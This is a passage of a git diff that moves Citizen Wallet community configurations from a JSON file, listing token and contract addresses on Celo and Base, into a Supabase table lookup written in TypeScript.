{ - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "config_location": "https://config.internal.citizenwallet.xyz/v4/cit.celo.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "Wolugo", - "description": "A community for the Woluwe-Saint-Pierre civic engagement platform", - "url": "https://wolugo.be", - "alias": "wallet.wolugo.be", - "custom_domain": "wallet.wolugo.be", - "logo": "https://wallet.wolugo.be/uploads/logo.svg", - "theme": { - "primary": "#81e2c1" - }, - "hidden": true, - "profile": { - "address": "0x07e7b95B35866302b3A089feF4CFA3061061a51d", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x13Dd4B3cD2f2Be3eb41cD0C3E2ce9F8d8C93A451", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x8474153A00C959f2cB64852949954DBC68415Bb3", - "chain_id": 42220 - }, - "card_factory": { - "address": "0xA3E1446E332a098A1f3b0555c5d149b4784A095F", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x13Dd4B3cD2f2Be3eb41cD0C3E2ce9F8d8C93A451": { - "standard": "erc20", - "name": "Wolu", - "address": "0x13Dd4B3cD2f2Be3eb41cD0C3E2ce9F8d8C93A451", - "symbol": "WOLU", - "decimals": 6, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "CELO Explorer" - }, - "accounts": { - "42220:0x8474153A00C959f2cB64852949954DBC68415Bb3": { - "chain_id": 42220, - "entrypoint_address": "0x0F805BC1ED718FB9C7C18439cB11E1C17C6538C4", - "paymaster_address": "0xF2EFEC3cBFaDE0bB6108620cbF7Cc608d27DCF3c", - "account_factory_address": "0x8474153A00C959f2cB64852949954DBC68415Bb3", - "paymaster_type": "cw" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "cards": { - "42220:0xA3E1446E332a098A1f3b0555c5d149b4784A095F": { - "chain_id": 42220, - "address": "0xA3E1446E332a098A1f3b0555c5d149b4784A095F", - "type": "classic" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "config_location": "https://config.internal.citizenwallet.xyz/v4/wallet.wolugo.be.json", - "version": 4 - }, - { - "community": { - "name": "Woluwe Test", - "description": "Local currency for the Woluwe Test community.", - "url": "https://wollet-v2.citizenwallet.net/token", - "alias": "wtc.celo", - "logo": "https://wtc.celo.citizenwallet.xyz/wallet-config/_images/wtc.celo.svg", - "hidden": true, - "profile": { - "address": "0xB99a7B1574f051020EB4cb2fce5d48EE07592AfF", - "chain_id": 42220 - }, - "primary_token": { - "address": "0xc53Cb35591959cA62471dA9fF6AC16629A89874a", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0xE79E19594A749330036280c685E2719d58d99052", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0xc53Cb35591959cA62471dA9fF6AC16629A89874a": { - "standard": "erc20", - "name": "Woluwe Test Coin", - "address": "0xc53Cb35591959cA62471dA9fF6AC16629A89874a", - "symbol": "WTC", - "decimals": 6, - "chain_id": 42220 - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0xE79E19594A749330036280c685E2719d58d99052": { - "chain_id": 42220, - "entrypoint_address": "0x1EaF6B6A6967608aF6c77224f087b042095891EB", - "paymaster_address": "0x3fefC19674f3F6E43B1dFf1861E07c303B9eAAc9", - "account_factory_address": "0xE79E19594A749330036280c685E2719d58d99052", - "paymaster_type": "cw" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "config_location": "https://config.internal.citizenwallet.xyz/v4/wtc.celo.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "ETHGlobal London Token", - "description": "The community of people using ETHLDN on Base.", - "url": "https://en.wikipedia.org/wiki/USD_Coin", - "alias": "testnet-ethldn", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/testnet-ethldn.svg", - "hidden": true, - "profile": { - "address": "0x0785D720279f42326846D5396b5F44b97d0BfECd", - "chain_id": 84532 - }, - "primary_token": { - "address": "0x9b1a0D2951b11Ac26A6cBbd5aEf2c4cb014b3B6e", - "chain_id": 84532 - }, - "primary_account_factory": { - "address": "0xc1654087C580f868F08E34cd1c01eDB1d3673b82", - "chain_id": 84532 - } - }, - "tokens": { - "84532:0x9b1a0D2951b11Ac26A6cBbd5aEf2c4cb014b3B6e": { - "standard": "erc20", - "name": "ETHGlobal London Token", - "address": "0x9b1a0D2951b11Ac26A6cBbd5aEf2c4cb014b3B6e", - "symbol": "ETHLDN", - "decimals": 6, - "chain_id": 84532 - } - }, - "scan": { - "url": "https://sepolia.basescan.org", - "name": "Base Sepolia Explorer" - }, - "accounts": { - "84532:0xc1654087C580f868F08E34cd1c01eDB1d3673b82": { - "chain_id": 84532, - "entrypoint_address": "0xBABCf159c4e3186cf48e4a48bC0AeC17CF9d90FE", - "paymaster_address": "0x389182aCCeE26D953d5188BF4b92c49339DcC9FC", - "account_factory_address": "0xc1654087C580f868F08E34cd1c01eDB1d3673b82", - "paymaster_type": "cw" - } - }, - "sessions": { - "84532:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 84532, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "84532": { - "id": 84532, - "node": { - "url": "https://84532.engine.citizenwallet.xyz", - "ws_url": "wss://84532.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "config_location": "https://config.internal.citizenwallet.xyz/v4/testnet-ethldn.json", - "version": 4 - }, - { - "community": { - "name": "Celo Community Point", - "description": "This is a community for the Celo Point", - "url": "https://citizenwallet.xyz", - "alias": "celo-c.citizenwallet.xyz", - "logo": "https://celo-c.citizenwallet.xyz/uploads/logo.svg", - "hidden": true, - "profile": { - "address": "0x14004E13907282cFaD05f742022E56926eE92dAd", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x3C960E72BBbD837293e75080E1d0Fee6a4640357", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0xcd8b1B9E760148c5026Bc5B0D56a5374e301FDcA", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x3C960E72BBbD837293e75080E1d0Fee6a4640357": { - "standard": "erc20", - "name": "Celo Community Point", - "address": "0x3C960E72BBbD837293e75080E1d0Fee6a4640357", - "symbol": "CeloC", - "decimals": 6, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "CELO Explorer" - }, - "accounts": { - "42220:0xcd8b1B9E760148c5026Bc5B0D56a5374e301FDcA": { - "chain_id": 42220, - "entrypoint_address": "0x66fE9c22CcA49B257dd4F00508AC90198d99Bf27", - "paymaster_address": "0x7f4011845Ea914b6cefc60629e1e00600c972c75", - "account_factory_address": "0xcd8b1B9E760148c5026Bc5B0D56a5374e301FDcA", - "paymaster_type": "cw" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "config_location": "https://config.internal.citizenwallet.xyz/v4/celo-c.citizenwallet.xyz.json", - "version": 4 - }, - { - "community": { - "name": "KFMEDIA℠", - "description": "Certified Education Organization. Solving systemic educational disparity using Web3 solutions, removing barriers of entry for underdeveloped economies.", - "url": "https://kingfishersmedia.io", - "alias": "wallet.kingfishersmedia.io", - "custom_domain": "wallet.kingfishersmedia.io", - "logo": "https://assets.citizenwallet.xyz/wallet-config/_images/kfmpfl.png", - "theme": { - "primary": "#88292c" - }, - "profile": { - "address": "0x5f6FEb03ad8EfeCdD2a837FAA1a29DEA2bAcfd55", - "chain_id": 42220 - }, - "primary_token": { - "address": "0x56744910f7dEcD48c1a7FA61B4C317b15E99F156", - "chain_id": 42220 - }, - "primary_account_factory": { - "address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "chain_id": 42220 - }, - "primary_card_manager": { - "address": "0x1EaF6B6A6967608aF6c77224f087b042095891EB", - "chain_id": 42220 - }, - "primary_session_manager": { - "address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "chain_id": 42220 - } - }, - "tokens": { - "42220:0x56744910f7dEcD48c1a7FA61B4C317b15E99F156": { - "standard": "erc1155", - "name": "KFMEDIA℠ Pathways for LATAM™", - "address": "0x56744910f7dEcD48c1a7FA61B4C317b15E99F156", - "symbol": "KFMPFL", - "decimals": 0, - "chain_id": 42220 - } - }, - "scan": { - "url": "https://celoscan.io", - "name": "Celo Explorer" - }, - "accounts": { - "42220:0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2": { - "chain_id": 42220, - "entrypoint_address": "0x7079253c0358eF9Fd87E16488299Ef6e06F403B6", - "paymaster_address": "0x02BDA8370d9497A5C808B2db237cfaA8f0733F36", - "account_factory_address": "0x940Cbb155161dc0C4aade27a4826a16Ed8ca0cb2", - "paymaster_type": "cw-safe" - } - }, - "sessions": { - "42220:0xE2F3DC3E638113b9496060349e5332963d9C1152": { - "chain_id": 42220, - "module_address": "0xE2F3DC3E638113b9496060349e5332963d9C1152", - "factory_address": "0xEd0cD3886b84369A0e29Db9a4480ADF5051c76C9", - "provider_address": "0xF3004A1690f97Cf5d307eDc5958a7F76b62f9FC9" - } - }, - "chains": { - "42220": { - "id": 42220, - "node": { - "url": "https://42220.engine.citizenwallet.xyz", - "ws_url": "wss://42220.engine.citizenwallet.xyz" - } - } - }, - "ipfs": { - "url": "https://ipfs.internal.citizenwallet.xyz" - }, - "config_location": "https://config.internal.citizenwallet.xyz/v4/wallet.kingfishersmedia.io.json", - "version": 4 - } -] \ No newline at end of file diff --git a/services/cw/community.ts b/services/cw/community.ts deleted file mode 100644 index 5ff6ede..0000000 --- a/services/cw/community.ts +++ /dev/null @@ -1,14 +0,0 @@ -import 'server-only'; - -import { Config } from '@citizenwallet/sdk'; -import communities from '@/services/cw/communities.json' assert { type: 'json' }; - -export const getConfigOfAlias = (alias: string): Config => { - const community: Config = communities.find( - (community) => community.community.alias === alias - ) as unknown as Config; - - if (!community) throw new Error(`Community ${alias} not found`); - - return community; -}; diff --git a/services/db/community.ts b/services/db/community.ts new file mode 100644 index 0000000..208b30d --- /dev/null +++ b/services/db/community.ts @@ -0,0 +1,29 @@ +import 'server-only'; + +import { Config } from '@citizenwallet/sdk'; +import { + PostgrestMaybeSingleResponse, + SupabaseClient, +} from '@supabase/supabase-js'; + +export interface CommunityRow { + alias: string; + chain_id: number; + active: boolean; + created_at: Date; + updated_at: Date; + json: Config; +} + +const TABLE_NAME = 'communities'; + +export const getCommunityByAlias = async ( + client: SupabaseClient, + alias: string +): Promise> => { + return await client + .from(TABLE_NAME) + .select('*') + .eq('alias', alias) + .maybeSingle(); +};